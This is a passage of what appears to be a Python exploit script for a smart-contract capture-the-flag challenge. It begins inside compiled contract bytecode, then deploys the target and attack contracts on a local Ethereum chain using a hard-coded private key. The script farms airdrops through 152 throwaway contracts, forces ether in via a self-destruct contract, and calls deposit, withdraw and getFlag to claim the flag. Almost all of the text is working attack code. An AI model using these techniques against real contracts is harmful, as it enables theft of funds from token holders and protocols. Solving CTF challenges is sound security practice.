2001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161216891906128bf565b60405180910390a3505050565b60006121818484611f1b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146121fb57818110156121ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e490613b45565b60405180910390fd5b6121fa8484848403611faa565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890613bd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d890613c69565b60405180910390fd5b6122ec8383836125d0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613cfb565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161246091906128bf565b60405180910390a36124738484846125d5565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e090613d67565b60405180910390fd5b6124f5600083836125d0565b80600a60008282546125079190612d90565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125b891906128bf565b60405180910390a36125cc600083836125d5565b5050565b505050565b505050565b8280546125e690612e15565b90600052602060002090601f016020900481019282612608576000855561264f565b82601f1061262157805160ff191683800117855561264f565b8280016001018555821561264f579182015b8281111561264e578251825591602001919060010190612633565b5b50905061265c9190612660565b5090565b5b80821115612679576000816000905550600101612661565b5090565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6126a481612691565b81146126af57600080fd5b50565b6000813590506126c18161269b565b92915050565b6000602082840312156126dd576126dc612687565b5b60006126eb848285016126b2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561272e578082015181840152602081019050612713565b8381111561273d576000848401525b50505050565b6000601f19601f8301169050919050565b600061275f826126f4565b61276981856126ff565b9350612779818560208601612710565b61278281612743565b840191505092915050565b600060208201905081810360008301526127a78184612754565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127da826127af565b9050919050565b6127ea816127cf565b81146127f557600080fd5b50565b600081359050612807816127e1565b92915050565b6000806040838503121561282457612823612687565b5b6000612832858286016127f8565b9250506020612843858286016126b2565b9150509250929050565b60008115159050919050565b6128628161284d565b82525050565b600060208201905061287d6000830184612859565b92915050565b60006020828403121561289957612898612687565b5b60006128a7848285016127f8565b91505092915050565b6128b981612691565b82525050565b60006020820190506128d460008301846128b0565b92915050565b600080fd5b6000608082840312156128f5576128f46128da565b5b81905092915050565b60006020828403121561291457612913612687565b5b600082013567ffffffffffffffff8111156129325761293161268c565b5b61293e848285016128df565b91505092915050565b6000806000606084860312156129605761295f612687565b5b600061296e868287016127f8565b935050602061297f868287016127f8565b9250506040612990868287016126b2565b9150509250925092565b600060ff82169050919050565b6129b08161299a565b82525050565b60006020820190506129cb60008301846129a7565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a1382612743565b810181811067ffffffffffffffff82111715612a3257612a316129db565b5b80604052505050565b6000612a4561267d565b9050612a518282612a0a565b919050565b600067ffffffffffffffff821115612a7157612a706129db565b5b612a7a82612743565b9050602081019050919050565b82818337600083830152505050565b6000612aa9612aa484612a56565b612a3b565b905082815260208101848484011115612ac557612ac46129d6565b5b612ad0848285612a87565b509392505050565b600082601f830112612aed57612aec6129d1565b5b8135612afd848260208601612a96565b91505092915050565b60008060408385031215612b1d57612b1c612687565b5b600083013567ffffffffffffffff811115612b3b57612b3a61268c565b5b612b4785828601612ad8565b925050602083013567ffffffffffffffff811115612b6857612b6761268c565b5b612b7485828601612ad8565b9150509250929050565b612b87816127cf565b82525050565b6000602082019050612ba26000830184612b7e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612bcf82612ba8565b612bd98185612bb3565b9350612be9818560208601612710565b612bf281612743565b840191505092915050565b6000608082019050612c1260008301876128b0565b612c1f60208301866128b0565b612c2c6040830185612b7e565b8181036060830152612c3e8184612bc4565b905095945050505050565b60008060408385031215612c6057612c5f612687565b5b6000612c6e858286016127f8565b9250506020612c7f858286016127f8565b9150509250929050565b7f61757468206661696c0000000000000000000000000000000000000000000000600082015250565b6000612cbf6009836126ff565b9150612cca82612c89565b602082019050919050565b60006020820190508181036000830152612cee81612cb2565b9050919050565b7f616c726561647920617574686400000000000000000000000000000000000000600082015250565b6000612d2b600d836126ff565b9150612d3682612cf5565b602082019050919050565b60006020820190508181036000830152612d5a81612d1e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d9b82612691565b9150612da683612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ddb57612dda612d61565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612e2d57607f821691505b60208210811415612e4157612e40612de6565b5b50919050565b600080fd5b600082356001608003833603038112612e6857612e67612e47565b5b80830191505092915050565b600080fd5b600082356001608003833603038112612e9557612e94612e74565b5b82810191505092915050565b6000612eb060208401846126b2565b905092915050565b612ec181612691565b82525050565b6000612ed660208401846127f8565b905092915050565b612ee7816127cf565b82525050565b600080fd5b600080fd5b60008083356001602003843603038112612f1457612f13612e74565b5b83810192508235915060208301925067ffffffffffffffff821115612f3c57612f3b612eed565b5b600182023603841315612f5257612f51612ef2565b5b509250929050565b600082825260208201905092915050565b6000612f778385612f5a565b9350612f84838584612a87565b612f8d83612743565b840190509392505050565b600060808301612fab6000840184612ea1565b612fb86000860182612eb8565b50612fc66020840184612ea1565b612fd36020860182612eb8565b50612fe16040840184612ec7565b612fee6040860182612ede565b50612ffc6060840184612ef7565b858303606087015261300f838284612f6b565b925050508091505092915050565b600082905092915050565b6130318161299a565b811461303c57600080fd5b50565b60008135905061304e81613028565b92915050565b6000613063602084018461303f565b905092915050565b6130748161299a565b82525050565b600082905092915050565b61309160408383612a87565b5050565b606082016130a66000830183613054565b6130b3600085018261306b565b506130c1602083018361307a565b6130ce6020850182613085565b50505050565b6000608083016130e76000840184612e79565b84820360008601526130f98282612f98565b915050613109602084018461301d565b6131166020860182613095565b508091505092915050565b6000602082019050818103600083015261313b81846130d4565b905092915050565b600061314e82612691565b915061315983612691565b92508282101561316c5761316b612d61565b5b828203905092915050565b6000819050919050565b6000819050919050565b61319c61319782613177565b613181565b82525050565b6000819050919050565b6131bd6131b882612691565b6131a2565b82525050565b60006131cf828561318b565b6020820191506131df82846131ac565b6020820191508190509392505050565b7f70617373776f7264206572726f722c2061757468206661696c00000000000000600082015250565b60006132256019836126ff565b9150613230826131ef565b602082019050919050565b6000602082019050818103600083015261325481613218565b9050919050565b7f6e65656420707265206175746800000000000000000000000000000000000000600082015250565b6000613291600d836126ff565b915061329c8261325b565b602082019050919050565b600060208201905081810360008301526132c081613284565b9050919050565b7f6c6f616e206b6579206572726f72000000000000000000000000000000000000600082015250565b60006132fd600e836126ff565b9150613308826132c7565b602082019050919050565b6000602082019050818103600083015261332c816132f0565b9050919050565b7f6861636b657220676574206f7574000000000000000000000000000000000000600082015250565b6000613369600e836126ff565b915061337482613333565b602082019050919050565b600060208201905081810360008301526133988161335c565b9050919050565b600080fd5b600080fd5b600067ffffffffffffffff8211156133c4576133c36129db565b5b6133cd82612743565b9050602081019050919050565b60006133ed6133e8846133a9565b612a3b565b905082815260208101848484011115613409576134086129d6565b5b613414848285612a87565b509392505050565b600082601f830112613431576134306129d1565b5b81356134418482602086016133da565b91505092915050565b6000608082840312156134605761345f61339f565b5b61346a6080612a3b565b9050600061347a848285016126b2565b600083015250602061348e848285016126b2565b60208301525060406134a2848285016127f8565b604083015250606082013567ffffffffffffffff8111156134c6576134c56133a4565b5b6134d28482850161341c565b60608301525092915050565b60006134ea368361344a565b9050919050565b600067ffffffffffffffff82111561350c5761350b6129db565b5b602082029050919050565b600080fd5b61352581613177565b811461353057600080fd5b50565b6000813590506135428161351c565b92915050565b600061355b613556846134f1565b612a3b565b9050806020840283018581111561357557613574613517565b5b835b8181101561359e578061358a8882613533565b845260208401935050602081019050613577565b5050509392505050565b600082601f8301126135bd576135bc6129d1565b5b60026135ca848285613548565b91505092915050565b6000606082840312156135e9576135e861339f565b5b6135f36040612a3b565b905060006136038482850161303f565b6000830152506020613617848285016135a8565b60208301525092915050565b60006060828403121561363957613638612687565b5b6000613647848285016135d3565b91505092915050565b7f796f75206861766520616c7265616479206c6f616e6564000000000000000000600082015250565b60006136866017836126ff565b915061369182613650565b602082019050919050565b600060208201905081810360008301526136b581613679565b9050919050565b7f6c6f616e20616d6f756e74206572726f72000000000000000000000000000000600082015250565b60006136f26011836126ff565b91506136fd826136bc565b602082019050919050565b60006020820190508181036000830152613721816136e5565b9050919050565b600081905092915050565b50565b6000613743600083613728565b915061374e82613733565b600082019050919050565b600061376482613736565b9150819050919050565b600060408201905081810360008301526137888185612754565b9050818103602083015261379c8184612754565b90509392505050565b7f6661696c20746f2073616c650000000000000000000000000000000000000000600082015250565b60006137db600c836126ff565b91506137e6826137a5565b602082019050919050565b6000602082019050818103600083015261380a816137ce565b9050919050565b600061381c82612691565b915061382783612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138605761385f612d61565b5b828202905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006138c76025836126ff565b91506138d28261386b565b604082019050919050565b600060208201905081810360008301526138f6816138ba565b9050919050565b7f796f752063616e206f6e6c79206465706f736974206f6e636500000000000000600082015250565b60006139336019836126ff565b915061393e826138fd565b602082019050919050565b6000602082019050818103600083015261396281613926565b9050919050565b7f6d61782062757920636f756e7420697320333030000000000000000000000000600082015250565b600061399f6014836126ff565b91506139aa82613969565b602082019050919050565b600060208201905081810360008301526139ce81613992565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a316024836126ff565b9150613a3c826139d5565b604082019050919050565b60006020820190508181036000830152613a6081613a24565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ac36022836126ff565b9150613ace82613a67565b604082019050919050565b60006020820190508181036000830152613af281613ab6565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613b2f601d836126ff565b9150613b3a82613af9565b602082019050919050565b60006020820190508181036000830152613b5e81613b22565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613bc16025836126ff565b9150613bcc82613b65565b604082019050919050565b60006020820190508181036000830152613bf081613bb4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c536023836126ff565b9150613c5e82613bf7565b604082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613ce56026836126ff565b9150613cf082613c89565b604082019050919050565b60006020820190508181036000830152613d1481613cd8565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613d51601f836126ff565b9150613d5c82613d1b565b602082019050919050565b60006020820190508181036000830152613d8081613d44565b905091905056fea26469706673582212204e66ca7410a854236fd845b4d0533742f82c2a5c6a30cf3ed485526b62f94fdd64736f6c634300080c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000001e24000000000000000000000000000000000000000000000000000000000000000066b6b66696e65000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066b6b66696e650000000000000000000000000000000000000000000000000000'
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['ctf.sol:MyToken']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_attack():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['attack.sol:attack']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:attack']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_selftocode():
compiled_sol = compile_files(["selftocode.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['selftocode.sol:selftode']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, Web3.fromWei(100000000000000000,'ether'))
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['selftocode.sol:selftode']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def get_Secret(location : int):
slot = web3.eth.getStorageAt(ctf_address,location)
print(bytesTohex(slot))
def setMyToken(attack_address):
# attack.setMyToken()
data = "0xbc734d52000000000000000000000000" + ctf_address[2:]
airdopHunting = generate_tx(chain_id, attack_address, data, 0)
sign_and_send(airdopHunting)
def transf(toaccack,address):
# attack.transf()
functionSign = HexBytes(web3.sha3(text='transf(address,uint)')).hex()[0:10]
data = "0x22cbeb4f000000000000000000000000{}0000000000000000000000000000000000000000000000000000000000000002".format(address[2:])
airdopHunting = generate_tx(chain_id, toaccack, data, 0)
sign_and_send(airdopHunting)
def airdopHunting(i):
for i in range(0,i):
attack_address, attack_abi = deploy_attack()
attack_instance = web3.eth.contract(address=attack_address, abi=ctf_abi)
setMyToken(attack_address)
# attack.airdopHunting()
functionSign = HexBytes(web3.sha3(text='airdopHunting()')).hex()[0:10]
airdopHunting = generate_tx(chain_id, attack_address, "0xc304e159", 0)
sign_and_send(airdopHunting)
transf(attack_address,exp_address)
def selftode():
selftode_address, selftode_abi = deploy_selftocode()
selftode_instance = web3.eth.contract(address=selftode_address, abi=selftode_abi)
# print(selftode_instance.all_functions())
print("[+] selftode_address is " + str(web3.eth.getBalance(selftode_address)))
selftode_instance.functions.tran(ctf_address).call()
data = "0x5b2d937e000000000000000000000000" + ctf_address[2:]
functionSign = HexBytes(web3.sha3(text='tran(address)')).hex()[0:10]
attack = generate_tx(chain_id, selftode_address, data ,0)
sign_and_send(attack)
if __name__ == '__main__':
# exp()
solcx.install_solc('0.8.12')
rpc = "http://127.0.0.1:8545"
web3 = Web3(HTTPProvider(rpc))
private_key = '8af7453279f445ed7ef7972de0a8c5c454d9009b4fe95de83606da95f7559685'
acct = web3.eth.account.from_key(private_key)
account_address = acct.address
chain_id = 5777
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
ctf_address,ctf_abi = deploy_ctf()
ctf_instance = web3.eth.contract(address=ctf_address, abi=ctf_abi)
# ctf_address = "0x67013889C2812055E10FAc1a09a1023A04ACE194"
print(ctf_instance.all_functions())
print("[+] ctf_address is " + str(ctf_address))
exp_address, exp_abi = deploy_attack()
# exp_address = "0xE7e05409e019CEA7E920A9BcFdf0bdD1eB2cD35a"
exp_instance = web3.eth.contract(address=exp_address, abi=exp_abi)
print("[+] exp_address is " + str(exp_address))
setMyToken(exp_address)
selftode()
print("[+] ctf_address is " + str(web3.eth.getBalance(ctf_address)))
airdopHunting(152)
# time.sleep(10)
# ctf.getBalance(address)
print(ctf_instance.functions.balanceOf(exp_address).call())
# secret_value = get_Secret(15)
# attack.makedeposit()
functionSign = HexBytes(web3.sha3(text='makedeposit()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)
# attack.get_ebalances
functionSign = HexBytes(web3.sha3(text='get_ebalances()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)
print("[+] _ebalancesOf(exp_address) is " + str(ctf_instance.functions._ebalances(exp_address).call()))
# attack.makewithdraw
functionSign = HexBytes(web3.sha3(text='makewithdraw()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
sign_and_send(attack)
print("[+] _flag(exp_address) is " + str(ctf_instance.functions._flag(exp_address).call()))
# attack.getFlag
functionSign = HexBytes(web3.sha3(text='getFlag()')).hex()[0:10]
attack = generate_tx(chain_id, exp_address, functionSign ,0)
flag = sign_and_send(attack)
print(ctf_instance.events.sendflag().processLog(flag["logs"][0]))
